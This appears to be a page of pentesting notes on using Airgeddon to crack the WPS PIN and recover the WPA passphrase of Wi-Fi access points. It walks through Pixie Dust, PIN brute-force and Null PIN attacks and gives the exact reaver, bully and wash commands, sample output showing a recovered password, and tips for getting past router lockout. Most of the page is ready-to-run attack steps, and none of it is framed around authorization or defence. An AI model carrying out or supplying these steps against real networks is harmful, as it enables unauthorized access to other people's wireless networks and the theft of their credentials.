Airgeddon - WPS Attacks

Using Airgeddon specifically for WPS (Wi-Fi Protected Setup) attacks. Airgeddon provides a menu-driven interface that wraps Reaver and Bully for Pixie Dust, PIN brute force, and Null PIN attacks against WPS-enabled access points.

Note: This file is named airggedon-ng — same Airgeddon tool. See ../../automate-hacking/airrgedon-ng for the full Airgeddon overview.

Starting Airgeddon for WPS

# Start Airgeddon
sudo bash airgeddon.sh

# Main Menu:
# 1. Select interface
# 2. Put interface in monitor mode
# 7. WPS attacks menu

WPS Attack Menu Options

Once in the WPS attacks menu:

WPS attacks menu:
  1. WPS Pixie Dust attack
  2. WPS PIN bruteforce attack
  3. WPS PIN Null attack
  4. WPS Pixie Dust + PIN bruteforce
  5. WPS all attacks chaining (try all in order)

Recommended WPS Attack Order in Airgeddon

Option 5 — All Attacks (Best Starting Point)

Let Airgeddon try everything automatically:

1. Null PIN first (instant if works)
2. Pixie Dust (fast offline attack)
3. PIN brute force (slow but thorough)

Just select the target and walk away.

Pixie Dust (Most Successful Against Vulnerable Routers)

Airgeddon runs reaver -K 1 under the hood:

WPS attacks menu → WPS Pixie Dust attack
→ Select target from scan list
→ Attack starts automatically
→ Waits for result (usually seconds to a few minutes)

Output when successful:

[+] WPS PIN: 12345678
[+] WPA PSK: TargetPassword123
[+] AP SSID: HomeNetwork

WPS PIN Brute Force

Airgeddon runs standard reaver:

WPS attacks menu → WPS PIN bruteforce attack
→ Select target
→ Choose delay settings (avoid lockout)
→ Attack runs up to 11,000 PIN attempts

Lockout protection settings:

• Airgeddon asks for delay between attempts
• Recommended: 30-60 seconds between groups
• Or use --no-associate to reduce lockout triggers

Null PIN

WPS attacks menu → WPS PIN Null attack
→ Fastest — tries empty PIN
→ Completes in seconds (pass or fail)
→ No lockout risk

Manual Commands (What Airgeddon Runs)

Understanding what's happening under the hood:

# Pixie Dust (Airgeddon calls this)
sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -K 1 -vv -N

# PIN Brute Force (Airgeddon calls this)
sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv -d 10 -r 3:15

# Null PIN (Airgeddon calls this)
sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -p "" -vv

# With Bully (alternative)
sudo bully wlan0mon -b AA:BB:CC:DD:EE:FF -d -v 3

Finding WPS-Enabled APs First

# Before opening Airgeddon
sudo wash -i wlan0mon
# OR
sudo airodump-ng wlan0mon  # Check WPS column

# In Airgeddon:
# Handshake/PMKID tools → Scan for targets → Look for WPS flag

Troubleshooting

Issue: "WPS transaction failed" repeatedly

• Router may be locking out — add delay (-d 30)
• Try --no-associate flag (Airgeddon has this option)
• Pixie Dust might not apply to this router model

Issue: Attack immediately fails with Pixie Dust

• Router may not be vulnerable to Pixie Dust
• Try standard PIN brute force instead

Issue: reaver takes too long

• Expected: 2-4 hours for full PIN brute force
• Pixie Dust should be minutes or fail fast
• Add --session to save progress

See Also

• future-of-tech-emerging-trends-2023 - WPS overview and theory
• null-pin - Null PIN attack details
• ../../automate-hacking/airrgedon-ng - Full Airgeddon overview